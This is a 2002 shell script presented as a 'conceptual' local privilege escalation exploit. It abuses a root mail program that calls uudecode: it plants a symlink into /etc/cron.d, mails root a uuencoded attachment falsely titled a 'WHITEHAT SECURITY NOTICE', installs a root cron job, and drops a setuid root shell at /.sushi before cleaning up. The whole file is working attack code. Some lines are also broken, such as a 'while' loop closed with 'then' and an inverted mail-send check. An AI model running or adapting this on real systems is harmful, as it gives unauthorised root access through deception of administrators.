#!/bin/sh
#
# Conceptual uuencode + mailprogram privilege
# local privilege escalation exploit
#
# Coded out of boredom...
#
# by Charles Stevenson <core@bokeoa.com>
#
# Mon Jul 15 18:22:13 MDT 2002

target="/home/core/mymail" # Root's mail program that calls uudecode
tempdir="/tmp"

if [ -u /.sushi ] ; then 
    exec /.sushi
fi

printf "Checking for $target..."
if [ -f "$target" ] ; then 
    echo "done."
else
    echo "NO!"
    exit 1
fi

if [ ! -d "$tempdir/core" ]; then
    printf "Creating $tempdir/core..."
    if ! mkdir "$tempdir/core" 2>/dev/null ; then
	echo "FAILED!" ; exit 1
    fi
    echo "done."
fi

printf "Changing directory to $tempdir/core..."
if ! cd "$tempdir/core" 2>/dev/null ; then 
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Creating cron.d symlink..."
if ! ln -fs /etc/cron.d/core you 2>/dev/null; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Changing umask..."
if ! umask 000 ; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Compiling root shell..."
cat >sushi.c <<EOF
#include <unistd.h>
int main (int argc, char **argv, char **envp) {
    setuid(0); 
    setgid(0); 
    execve("/bin/sh",argv,envp);
    return -1;
}
EOF
if ! cc sushi.c -o sushi 2>/dev/null; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Compiling cron takeover..."
cat >takeover.c <<EOF
#include <stdlib.h>
main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }
EOF
if ! cc takeover.c -o own 2>/dev/null; then
    echo "FAILED!" ; exit 1
fi
echo "done."

printf "Performing attack... come back when root reads his e-mail..."
cat >gosh <<EOF
core
EOF
uuencode gosh /tmp/core/you > uuownme
if mail-files root@localhost ascii "WHITEHAT SECURITY NOTICE Your system was compromised. Attached is a tarball with details exlaining how." uuownme; then
    echo "FAILED!"; exit 1
fi
echo "MESSAGE SENT!"

printf "Waiting for root to check his e-mail with $target..."
while [ ! -u /etc/cron.d/core ] ; then
    sleep 1; printf "."
done
echo "DONE!!!"

printf "Setting up evil cron job..."
cat >croncore <<EOF
*/1 * * * * root if [ -x "$tempdir/core/own" ] ; then "$tempdir/core/own"; fi
EOF
if ! cat croncore 2>/dev/null >/etc/cron.d/core; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Waiting for root shell"
while [ ! -u /.sushi ] ; do
    sleep 1 ; printf "."
done
echo "done."

cd /

printf "Cleaning up real quick..."
if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then
    echo "FAILED??? Fuck it!"
else
    echo "done."
fi

echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"
if ! exec /.sushi -i; then
    echo "Exec Failed!!! BUMMER!" ; exit 1
fi